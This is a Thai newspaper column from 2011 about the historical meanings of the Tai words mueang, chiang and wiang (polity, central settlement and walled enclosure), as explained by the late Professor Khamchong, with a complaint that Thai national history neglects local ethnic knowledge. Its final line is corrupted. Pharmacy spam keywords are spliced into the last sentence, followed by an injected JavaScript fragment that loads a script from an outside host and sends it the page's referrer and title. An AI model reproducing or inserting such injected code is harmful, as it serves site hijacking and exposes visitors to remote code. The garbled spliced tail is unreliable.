มติชนรายวัน ฉบับประจำวันพุธที่  05  มกราคม  2554

มีนักปราชญ์ราชบัณฑิตอธิบายคำว่า เมือง, เชียง, เวียง ไว้ต่างๆนานา ต่อเนื่องมานานมาก

ล่าสุด อาจารย์ยุกติ มุกดาวิจิตร ฝากหนังสือไว้ให้อ่านชื่อทฤษฎีบ้านเมือง ศาสตราจารย์คำจองกับการศึกษาชนชาติไท เป็นหนังสือรวมบทความวิชาการรำลึกถึง อาจารย์คำจอง ชาวไทดำ ในเวียดนาม (ถึงแก่กรรมเมื่อ 2550)

อาจารย์คำจองอธิบายคำว่า เมือง, เชียง, เวียง เอาไว้ ผมอ่านแล้ว“โดนใจ” เลยขอคัดลอกมาเผยแพร่ให้อ่านกันกว้างขวางดังนี้

เมือง หมายถึง หน่วยทางการปกครอง ประกอบด้วย (หมู่)บ้าน (village) หลายๆ(หมู่)บ้านที่มีเครือข่ายความสัมพันธ์ซับซ้อน กว้างขวางและแตกต่างหลากหลายด้วยขนาดต่างๆกัน มีพื้นที่ศูนย์กลางเรียก“เชียง”

เชียง หมายถึง ชุมชนบริเวณที่เป็นศูนย์กลางของเมืองด้านต่างๆ เช่น ศูนย์กลางทางพิธีกรรม (เพราะเป็นที่สิงสถิตของจิตวิญญาณเรียกขวัญเมือง), ศูนย์กลางทางการบริหารปกครอง, ศูนย์กลางทางเศรษฐกิจการค้า (มีตลาด), ฯลฯ

บริเวณเชียงต้องมีคูน้ำคันดินเป็นกำแพงรอบเพื่อแสดงขอบเขตความสำคัญเรียก“เวียง”

ภายในเวียงมีมุมต่างตามกำแพง เป็นที่ตั้งหน่วยป้องกันเป็นกลุ่มๆกระจายไปเรียก“แช่” ต่อมาเรียก แจ, แจง, แจ่ง (แปลว่า มุม)

(สรุปจากบทความเรื่อง“ด้ำ-บ้าน-เมือง” : คำสอนบทสุดท้ายจาก“ไซทอง” โดย พิเชฐ สายพันธ์ พิมพ์ในหนังสือทฤษฎีบ้านเมือง ศาสตราจารย์คำจองกับการศึกษาชนชาติไท โดย ฉัตรทิพย์ นาถสุภา, พิเชฐ สายพันธ์ บรรณาธิการ พิมพ์โดยสำนักพิมพ์สร้างสรรค์ พ.ศ. 2553 หน้า 37-62)

 

ราคา 350 บาท

ประวัติศาสตร์โบราณคดี“แห่งชาติ”ของไทย มองข้ามความรู้ดั้งเดิมของท้องถิ่น จึงไม่มีเรื่องราวของชาติพันธุ์ต่างๆที่อยู่ร่วมกันบนสุวรรณภูมิในอุษาคเนย์มาแต่ดึกดำบรรพ์ ไม่น้อยกว่า 3,000 ปีมาแล้ว

แม้ชาติพันธุ์ตระกูลไทย-ลาว หรือลาว-ไทย ในดินแดนเพื่อนบ้าน ก็ถูก“แห่งชาติ”มองอย่างเหยียดๆ

เลยพลาดความรู้ดั้งเดิมที่อธิบายความหมายได้ลึกซึ้งกว้างขวาง เช่น เมือง, เชียง, เวียง ที่ยกมานี้

ยังมีคำอธิบายจากรากเหง้าตระกูลไทย-ลาว, ลาว-ไทย อีกหลายเรื่องอยู่ในหนังสือทฤษฎีบ้านเมือง ถ้าอยากได้ความรู้เนื้อแท้ต้องไปซื้อหามาอ่านเองsildenafil sublingual tablets dutasteride side effectss.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;